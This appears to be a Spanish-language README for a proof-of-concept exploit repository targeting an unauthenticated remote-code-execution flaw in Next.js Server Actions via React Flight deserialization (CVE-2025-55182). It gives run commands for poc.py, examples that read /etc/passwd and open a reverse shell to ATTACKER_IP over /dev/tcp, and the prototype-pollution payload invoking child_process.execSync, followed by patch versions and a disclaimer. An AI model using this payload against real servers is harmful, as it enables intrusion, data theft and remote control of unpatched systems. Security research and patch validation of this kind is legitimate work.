
Exploit de prueba de concepto para RCE crítica no autenticada en Server Actions de Next.js mediante deserialización del Protocolo Flight de React, permitiendo la ejecución de comandos arbitrarios en servidores vulnerables.
Vulnerabilidad crítica en las Server Actions de Next.js que permite Ejecución Remota de Código sin autenticación a través de la deserialización del Protocolo React Flight
Este repositorio contiene una Prueba de Concepto (PoC) para la vulnerabilidad crítica RCE que afecta a aplicaciones Next.js que utilizan Server Actions (React Server Functions).
| Detalle | Información |
|---|---|
| CVE | CVE-2025-55182 / CVE-2025-66478 |
| Gravedad | Crítica (CVSS 10.0) |
| React Afectado | React 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| Next.js Afectado | Next.js 15.x, 16.x, 14.3.0-canary.77+ |
| No Afectado | Next.js 14.x estable, 13.x, Pages Router, Edge Runtime |
| Next.js Corregido | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 |
| React Corregido | 19.0.1, 19.1.2, 19.2.1 |
| Tipo | Ejecución Remota de Código (RCE) |
| Autenticación Requerida | Ninguna |
La vulnerabilidad existe en cómo el Protocolo React Flight deserializa fragmentos durante el procesamiento de Server Actions. Un atacante puede explotar la contaminación de prototipos mediante datos de formulario manipulados para:
Function a través de la cadena de prototipos (__proto__)Esto ocurre antes de cualquier validación de la server action, lo que lo hace explotable en cualquier aplicación Next.js que tenga Server Actions habilitadas.
Cualquier aplicación Next.js es vulnerable si:
pip install requests
python3 poc.py <TARGET_URL> "<COMMAND>"
# Test command execution
python3 poc.py http://localhost:3000 "id"
# Read sensitive files
python3 poc.py http://localhost:3000 "cat /etc/passwd"
# Reverse shell (for authorized testing only)
python3 poc.py http://localhost:3000 "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
$ python3 poc.py http://localhost:3000 "whoami"
500
0:{"a":"$@1","f":"","b":"development"}
1:E{"digest":"www-data","message":"NEXT_REDIRECT","stack":[],"env":"Server"}
La salida del comando aparece en el campo digest.
El exploit aprovecha el mecanismo de resolución de fragmentos del Protocolo React Flight:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('{cmd}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
Cadena de ataque:
$1:__proto__:thenFunction a través de $1:constructor:constructor_prefixActualice inmediatamente:
npm install next@latest
# or
pnpm update next
Versiones parcheadas: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7
Nota: Next.js 14.x estable y 13.x NO son vulnerables.
⚠️ Este PoC es solo para fines educativos y pruebas de seguridad autorizadas.
El acceso no autorizado a sistemas informáticos es ilegal. Solo use esta herramienta en sistemas que posea o para los que tenga permiso explícito para probar. Los autores no se responsabilizan por cualquier uso indebido.
Basado en la investigación original de @msanft. Todo el crédito por el descubrimiento de la vulnerabilidad y el PoC inicial les pertenece.
Ejecución Remota de Código en Next.js, Vulnerabilidad en Next.js, CVE-2025-55182, CVE-2025-66478, React2Shell, Exploit de React Server Components, RCE en Server Actions de Next.js, Contaminación de prototipos en Next.js, Vulnerabilidad del Protocolo React Flight, Seguridad en Next.js, Ejecución remota de código en Next.js, PoC de exploit en Next.js, Vulnerabilidad en Server Actions, RCE en React RSC